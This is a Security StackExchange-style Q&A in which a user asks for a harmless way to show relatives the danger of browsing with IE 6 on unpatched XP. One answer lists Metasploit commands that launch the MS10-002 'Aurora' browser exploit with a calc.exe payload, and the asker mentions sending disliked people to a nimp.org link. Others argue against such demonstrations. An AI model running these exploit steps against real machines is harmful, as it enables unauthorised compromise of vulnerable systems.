It is 'common knowledge' that unpatched, older browsers and operating systems are dangerous, but when I tell people that they should not do their online banking in IE 6 on a pirated XP service pack 0, nobody listens. Is there a website URL that I could point people to which will demonstrate an 'attack' but actually do no harm? I am looking for something to scare them into a better browser or a licensed OS. For people that I don't care about I will give a link to http://their-name.nimp.org but I don't want to do that to people who I will have to deal with later! This is something that I would do while I am at home with them (friends and family) in order to educate them, not a page that I would link to from my own websites.

Note that I am not looking for a page that explains the dangers, but rather a page that demonstrates the dangers.

I am looking for something innocuous, akin to this terrific page that demonstrates why one should never copy-paste terminal commands into his terminal, even if he understands the code:


My goal is only to show that attacks are possible, and actually do occur. Think of this as letting a child touch a lit match, in order to teach them to stay away from the open flame of the range with hot cooking oil in the pan! Yes, I've done that with my children and they stay away from the range!

  • 1
    Hey Dotan, the question as posed is not a great fit for the site, it's basically asking for a site recommendation (see the FAQ re product recommendations...) In addition, as @Terry noted in his answer, pointing your known-vulnerable users to a 3rd party site, even if it is ostensibly harmless, is probably not a great idea. I think you'd be better served by editing the question to ask for ways to safely demonstrate this, and not necessarily by pointing them at a potentially dangerous 3rd party site (which is out of your control, can change arbitrarily, etc). Btw are these users in your org? – AviD Jun 2 '13 at 15:25
  • 1
    It's better to let them find out for themselves that their online banking is unsafe. Their soul-cleansing experience, when they have it, becomes an example to others. No evangelist is better than someone who's had their bank account emptied. Some people can be told, but only learn through painful experience. It's not your job to provide that experience, only to warn a couple times and then leave them to it. – Fiasco Labs Jun 2 '13 at 15:28
  • 1
    Search for xkcd classics about security, embed them on the security page, give fair credit to Randall. Scaring your customers is NEVER a good marketing strategy. – Deer Hunter Jun 2 '13 at 16:13
  • 1
    Thank you Deer Hunter, but there is no 'security page' to speak of. This is not for customers, but rather for friends and family. – dotancohen Jun 2 '13 at 16:15
  • 2
    @zedman9991: I am not attacking website visitors. I am visiting friends and family at their houses and showing them why their browsing habits are insecure. I will clarify the question. – dotancohen Jun 3 '13 at 13:04

If you really want to scare them off without any negative impact, host an IE 6 exploit of Metasploit internally in one of your systems, set the payload to calc which will pop up a calculator when their browsers are exploited and then terminate the session. Tell them if someone can pop up a calculator on their machine without their knowledge, they can probably do a lot of bad things as well.

Here are the steps:

msf > use exploit/windows/browser/ms10_002_aurora
msf > set SRVHOST
msf > set SRVPORT 80
msf > set URIPATH /
msf > set payload windows/exec
msf > set CMD=calc.exe
msf > exploit
| improve this answer | |
  • 3
    For psychological reasons, I don't think it's a good idea to use a server that you control. If you do this, it becomes you who attacked their machine, and you pass off as a dangerous hacker in their eyes. You need to show them something that's out there on the scary internet. – Gilles 'SO- stop being evil' Jun 2 '13 at 19:30
  • 2
    @Gilles I think this is the best you can achieve in a controlled environment. You can easily scare them off over the 'real' Internet but that become out of control. You can't control what that malicious website would do to your real system and network. I think using your own server is better in a sense that the "dangerous hacker" will be their own admin. If they can't defend against a person who don't mean any harm, what they will do against a fully armed malicious adversary. – void_in Jun 2 '13 at 19:50
  • 2
    Thank you, this probably is the safest route. Popping up Calc does demonstrate the ability to perform arbitrary commands on the system. – dotancohen Jun 3 '13 at 4:03
  • See my comment to OP. – zedman9991 Jun 3 '13 at 12:49

I know you're looking for a 'scared straight' site instead of a site that educates the user, but that's a bad idea... For reasons that @Terry Chia covers in his answer.

I would recommend the educational route with a possible challenge aspect...

There are plenty of reputable browser security check sites. Challenge your friends/family that they won't be able to obtain a 'passing' grade on one of them. Motivate them to prove you wrong.

This would be a poor-mans gamification of browser security.


| improve this answer | |
  • 3
    Thank you, this is a good first step. However I don't see this as being particularly convincing. – dotancohen Jun 2 '13 at 15:46

This is a very bad idea. I can't emphasize how stupid this idea is.

You want to point your users to an actual website that performs an exploit on them? Even though you say it does no harm, who the hell is going to believe you? First of all, you are looking for a third-party website. Even if the site does not perform anything malicious today, who can say the "harmless" payload won't turn into something a bit more harmful in the future?

You also want to associate your website with something that performs exploitation on your users? What will happen to your website's reputation if it gets on some blacklist?

Lastly, IANAL but I'm pretty sure you are on shaky legal grounds here...

| improve this answer | |
  • 2
    Thank you Terry. I have updated the question with a clarification. I am not looking to link to such a site, but rather I would like to demonstrate that attacks are possible. – dotancohen Jun 2 '13 at 15:44

Not the answer you're looking for? Browse other questions tagged or ask your own question.